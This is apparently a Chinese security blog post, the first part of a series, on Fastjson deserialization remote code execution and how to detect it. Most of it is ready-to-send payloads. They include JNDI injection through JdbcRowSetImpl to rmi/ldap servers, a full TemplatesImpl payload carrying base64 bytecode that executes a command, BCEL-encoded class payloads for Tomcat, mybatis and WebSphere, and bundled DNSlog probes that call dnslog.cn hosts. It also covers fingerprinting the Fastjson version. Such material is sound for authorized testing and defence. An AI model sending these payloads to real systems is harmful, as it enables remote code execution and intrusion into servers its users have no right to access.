Fastjson:我一路向北,离开有你的季节(上)

2022-12-01 18:25:30 浏览数 (1)

介 绍

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。

Fastjson RCE关键函数:

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理TypeUtils. loadClass() 根据传入的类名,生成类的例JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 setgetis 方法。ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

在java审计中,需要关注的关键字:JSON.parse , JSON.parseObject , JSONObject.parse , JSONObject.parseObject , JSONObject.parseArray

涉及的涉及jar:fastjson-<version>.jar

代码块:

代码语言:javascript复制
JSON.parse("可控");

检测方案

上面说到漏洞触发和 setter 与 getter 有关,那么利用方式就是找那些在 setter 和 getter 中有敏感方法的类,从分析的角度来看,检测的主流方式有四种(以 1.2.24 版本为例):

JNDI 注入

原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务,而 JNDI 常用的有 RMI 和 LDAP 服务。

rmi协议:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC","autoCommit":true}

ldap协议:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1099/POC","autoCommit":true} bytesCode(TemplatesImpl)

原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类,我们可以写一个自定义类并在类的初始化函数中加入利用代码,利用条件苛刻,可用于解决不出网利用,需要调用parseObject()方法时,加入Feature.SupportNonPublicField参数。

_bytecodes要进行base64编码

["base64_bytesCode"],'name':'a.b','tfactory':{},"outputProperties":{},"name":"a","_version":"1.0","allowedProtocols":"all"}

完整的的payload参考:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"name":"a.b","tfactory":{},"outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

DNS log

原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。

{"@type":"java.net.InetAddress","val":"example.com"}

bcel 字节码

原理是如果 classname 中包含

BCEL

,这个 ClassLoader 则会将

代码语言:javascript复制
$$BCEL$$

后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象,于是我们通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块中即可。

代码语言:javascript复制
> {
>     {
>         "x":{
>                 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
>                 "driverClassLoader": {
>                     "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
>                 },
>                 "driverClassName": "$$BCEL$$$l$8b$I$A$..."
>         }
>     }: "x" }

上面的四种方式综合考量下,第一种只要JNDI server 收到了 socket 连接就是漏洞存在,但是需要目标出网,第二种有限制,现实中很难看到这种情况,第三种,只需要dns出网的就行,但是利用不一定能成功,第四种在jdk版本低时可用,且应对不出网的情况,但是需要tomcat环境,切版本高了bcel被删了。

区分Jackson和fastjson

由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson

如果请求包中的 json 如下:

{"name":"S", "age":21}

追加一个随机 key ,修改 json 为

{"name":"S", "age":21,"abc":123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,

所以会报错,服务器的响应包中多少会有异常回显。

盲打payload

分享一个fastjson探测小tips,一般大家探测fastjson dnslog:

都是上了直接发

{"@type":"java.net.Inet4Address","val":"okkkk.02e2z0.dnslog.cn"},

有时候这个并能触发dnslog,当然好一点的是

{"x":{"@type":"java.net.Inet4Address","val":"okkkk.02e2z0.dnslog.cn"}}

当然这个也是有的情况存在遗漏。

1.2.67版本前

{"zeo":{"@type":"java.net.Inet4Address","val":"c9f7jl.dnslog.cn"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

个人建议,把一些有用的payload放在一个包里面发,先检测是否有dns请求,然后再单独发,确定是那个payload有效,例如:

{"a":{"@type":"java.net.Inet4Address","val":"scspxx.dnslog.cn"},"b":{"@type":"java.net.Inet6Address","val":"scspxx.dnslog.cn"},"c":{"@type":"java.net.InetSocketAddress"{"address":,"val":"scspxx.dnslog.cn"}},"d":{{"@type":"java.net.URL","val":"http://scspxx.dnslog.cn"}:"x"},"e":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://scspxx.dnslog.cn","autoCommit":true},"f":{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://scspxx.dnslog.cn","autoCommit":true}}},"g":{"@type":"javax.swing.JEditorPane","page":"http://scspxx.dnslog.cn"},"h":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.net.URL","val":"http://scspxx.dnslog.cn"}}""}}

测试fastjson是否存在,以下几种方式:

  1. 破坏原先的json 结构,然后看服务器返回的报错信息
  2. 输入@type作为key的json数据,来看是否可以执行,比如不出网的情况下发包可能会卡住
  3. 白盒情况下直接看classpath的依赖包

当然也可以直接用bcel 延时payload盲打,以下payload是延时10秒,需要注意在Java 8u251以后,bcel类被删除。copy#commons-dbcp

代码语言:javascript复制
{"activeLicenseId":{"x":{{"@type":"com.alibaba.fastjson.JSONObject","a":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A"}}:"b"}}} •

#ibatis/mybatis

代码语言:javascript复制
{ { "@type":"com.alibaba.fastjson.JSONObject", "a": { "name": {"@type": "java.lang.Class", "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}, "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader": { "key": {"@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"}, "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driver": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A" } }:"b" }

#websphere

代码语言:javascript复制
{ { "@type": "com.alibaba.fastjson.JSONObject", "a":{ "@type": "org.apache.openjpa.jdbc.schema.SimpleDriverDataSource", "_classLoader": { "@type": "com.ibm.xltxe.rnm1.xtq.bcel.util.ClassLoader" }, "_connectionDriverName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A" } }: "b" }

探测目标fastjson版本

知道版本,才能更好确定使用的payload。还可以用来区分fastjson和Jackjson,fastjson探测版本,可以用错误格式的json发过去,如果对方异常未处理可报出详细版本。

探测版本原理主要是利用各个类被加入黑名单的方式进行判断。

查看版本:

代码语言:javascript复制
{"@type":"java.lang.AutoCloseable"

dns探测版本:

copy探测版本PoC,fastjson >1.2.43

代码语言:javascript复制
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

fastjson >1.2.48

代码语言:javascript复制
{"@type":"java.net.InetAddress","val":"dnslog"}

fastjson >1.2.68

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL","val":"http://dnslog"}}""}Set[{"@type":"java.net.URL","val":"http://dnslog"}]Set[{"@type":"java.net.URL","val":"http://dnslog"}{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{{"@type":"java.net.URL","val":"http://dnslog"}:0

0 人点赞